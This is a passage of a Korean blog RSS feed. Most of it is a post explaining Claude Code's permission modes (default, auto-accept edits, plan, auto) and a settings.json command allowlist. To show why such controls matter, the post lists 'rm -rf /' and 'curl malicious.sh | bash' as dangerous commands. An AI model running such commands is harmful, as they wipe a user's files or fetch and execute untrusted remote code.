&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;처음에는 어색하지만:&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;하나씩 스킬을 만들고&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;실제로 써보고&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;계속 다듬다 보면&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;어느 순간  &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;b&gt;&amp;ldquo;AI가 우리 팀의 개발 스타일로 일한다&amp;rdquo;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;라는 경험을 하게 됩니다.&lt;/span&gt;&lt;/p&gt;</description>
      <category>ClaudeCode/Claude Code 확장하기</category>
      <author>헬로우월드</author>
      <guid isPermaLink="true">https://sundaland.tistory.com/1118</guid>
      <comments>https://sundaland.tistory.com/1118#entry1118comment</comments>
      <pubDate>Thu, 9 Apr 2026 11:37:44 +0900</pubDate>
    </item>
    <item>
      <title>Permission Modes</title>
      <link>https://sundaland.tistory.com/1117</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;a href=&quot;https://code.claude.com/docs/en/how-claude-code-works&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://code.claude.com/docs/en/how-claude-code-works&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1775699565046&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;How Claude Code works - Claude Code Docs&quot; data-og-description=&quot;Understand the agentic loop, built-in tools, and how Claude Code interacts with your project.&quot; data-og-host=&quot;code.claude.com&quot; data-og-source-url=&quot;https://code.claude.com/docs/en/how-claude-code-works&quot; data-og-url=&quot;https://code.claude.com/docs/en/how-claude-code-works&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/GqQ9L/dJMb8YpWjft/K9Ep5M8a7XiTL4zTbbPLZK/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/bhCxfY/dJMb8VNwj4q/rd8hQQrGjz7OWfJRE4B76k/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630&quot;&gt;&lt;a href=&quot;https://code.claude.com/docs/en/how-claude-code-works&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://code.claude.com/docs/en/how-claude-code-works&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/GqQ9L/dJMb8YpWjft/K9Ep5M8a7XiTL4zTbbPLZK/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/bhCxfY/dJMb8VNwj4q/rd8hQQrGjz7OWfJRE4B76k/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;How Claude Code works - Claude Code Docs&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Understand the agentic loop, built-in tools, and how Claude Code interacts with your project.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;code.claude.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  Claude Code Permission Modes&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&amp;ldquo;Claude가 무엇을 할 수 있는지 제어하는 시스템&amp;rdquo;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Claude Code의 Permission Modes는 단순 옵션이 아니라,&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;b&gt;AI의 행동 범위를 단계적으로 통제하는 실행 정책 시스템&lt;/b&gt;입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  1. Permission Mode란 무엇인가?&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Claude Code에서 &lt;b&gt;Permission Mode&lt;/b&gt;는 &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;AI가 &lt;b&gt;로컬 환경에서 수행할 수 있는 작업의 범위&lt;/b&gt;를 제한하는 보안 정책입니다. &lt;/span&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;즉,&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;makefile&quot;&gt;&lt;code&gt;AI = 생각 + 코드 생성 + 실행 능력
Permission Mode = 실행 권한의 범위 제한&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  핵심 개념&lt;/span&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;AI는 단순히 코드만 생성하는 존재가 아님&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;실제로 &lt;b&gt;파일 수정 / 명령 실행 / 시스템 접근 가능&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;따라서 반드시 &amp;ldquo;권한 통제&amp;rdquo;가 필요함&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;⚠️ 왜 필요한가?&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;AI가 무제한 권한을 가진다면?&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;properties&quot;&gt;&lt;code&gt;rm -rf /
curl malicious.sh | bash
git push origin main&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  이런 것도 실행 가능해집니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  그래서 등장한 개념이 바로:&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;Permission Modes = AI의 &amp;ldquo;행동 허용 범위&amp;rdquo;를 제어하는 샌드박스&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Claude Code에서는 &lt;b&gt;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;Shift + Tab&lt;/span&gt;&lt;/b&gt;을 통해 여러 권한 모드들을 순환할 수 있습니다:&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;⚙️ 2. Permission Modes&lt;/span&gt;&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  Default Mode&amp;nbsp;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&amp;ldquo;모든 중요한 작업 전에 사용자에게 묻는다&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✔ 공식 정의&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;파일 수정 전 &amp;rarr; 확인 요청&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;shell 커맨드 실행 전 &amp;rarr; 확인 요청&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✔ 동작 방식&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot;&gt;&lt;code&gt;Claude: &quot;이 파일 수정해도 될까요?&quot;
Claude: &quot;이 커맨드 실행해도 될까요?&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  항상 &lt;b&gt;사용자 승인 기반 실행&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✔ 특징&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;가장 안전한 기본 모드  &lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Human-in-the-loop 구조&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;예측 가능한 동작&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✔ 적합한 상황&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;일반 개발 환경&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;협업 프로젝트&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;초기 AI 사용 단계&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  Auto-accept edits Mode&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&amp;ldquo;파일 수정은 자동, 커맨드 실행은 여전히 승인 필요&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✔ 공식 정의&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;파일 수정 &amp;rarr; ❗ 자동 수행&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;shell 커맨드 &amp;rarr; ❗ 여전히 사용자 승인 필요&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✔ 핵심 변화&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;gcode&quot;&gt;&lt;code&gt;(Default)
파일 수정 &amp;rarr; 승인 필요 ❌

(Auto-accept edits)
파일 수정 &amp;rarr; 자동 수행 ✅&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✔ 동작 예시&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;avrasm&quot;&gt;&lt;code&gt;Claude: 파일을 바로 수정함 (묻지 않음)
Claude: &quot;npm install 실행해도 될까요?&quot; (여전히 질문)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✔ 특징&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;코드 수정 속도 &amp;uarr;  &lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;시스템 영향 작업은 여전히 통제됨&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✔ 적합한 상황&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;빠른 리팩토링&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;UI/프론트 수정 작업&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;반복적인 코드 수정&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  Plan Mode&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&amp;ldquo;실행하지 않고 계획만 만든다&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✔ 공식 정의&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;read-only tools만 사용&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;실행 없이 계획 생성&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;사용자 승인 후 실행 가능&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✔ 핵심 개념&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;ini&quot;&gt;&lt;code&gt;AI = 실행자 ❌
AI = 설계자 / 플래너 ✅&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✔ 동작 흐름&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;1. Claude: 작업 계획 생성
2. 사용자: 계획 검토
3. 승인 시 &amp;rarr; 실제 실행 단계로 이동&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✔ 특징&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;완전한 비파괴 모드  &lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;코드 변경 없음&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;안전한 설계 단계&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✔ 적합한 상황&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;대규모 리팩토링 전&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;아키텍처 변경 검토&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;위험 작업 사전 설계&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  Auto Mode (Research Preview)&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&amp;ldquo;Claude가 스스로 판단하여 실행 (백그라운드 안전 검사 포함)&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✔ 공식 정의&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;모든 작업을 Claude가 스스로 평가&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;background safety checks 수행&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;현재는 &lt;b&gt;Research Preview 상태&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✔ 핵심 특징&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;asciidoc&quot;&gt;&lt;code&gt;- 파일 수정 &amp;rarr; 자동
- 명령 실행 &amp;rarr; 자동
- 내부적으로 안전성 검사 수행&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✔ 중요한 포인트&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  완전 무제한이 아니라&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;1c&quot;&gt;&lt;code&gt;&quot;자율 실행 + 내부 안전 필터&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;구조입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✔ 특징&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;최고 수준 자동화 ⚡&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;최소한의 사용자 개입&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;실험적 기능 (주의 필요)&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✔ 적합한 상황&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;개인 실험 환경&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;자동화 워크플로우&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;반복 작업 처리&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  3. 커스텀 권한 설정 (.claude/settings.json)&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Claude Code는 디폴트 모드 외에도&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;b&gt;특정 명령을 예외적으로 허용&lt;/b&gt;할 수 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  설정 파일&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;json&quot;&gt;&lt;code&gt;{
  &quot;allowedCommands&quot;: [
    &quot;npm test&quot;,
    &quot;git status&quot;
  ]
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✔ 공식 설명 요약&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;특정 명령은 매번 묻지 않도록 설정 가능&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;신뢰 가능한 명령에 적합&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;반복 작업 효율 &amp;uarr;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✔ 특징&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Permission Mode의 &amp;ldquo;세밀한 확장&amp;rdquo;  &lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;화이트리스트 기반 실행&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✔ 스코프 (중요 )&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;설정은 다양한 레벨에서 적용 가능:&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;asciidoc&quot;&gt;&lt;code&gt;- Organization (조직 전체 정책)
- Team / Project
- 개인 설정&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  즉,&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;회사 정책 &amp;rarr; 개인 커스터마이징까지 계층적 제어 가능&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  4. 구조적으로 보면 (핵심 인사이트)&lt;/span&gt;&lt;/h3&gt;
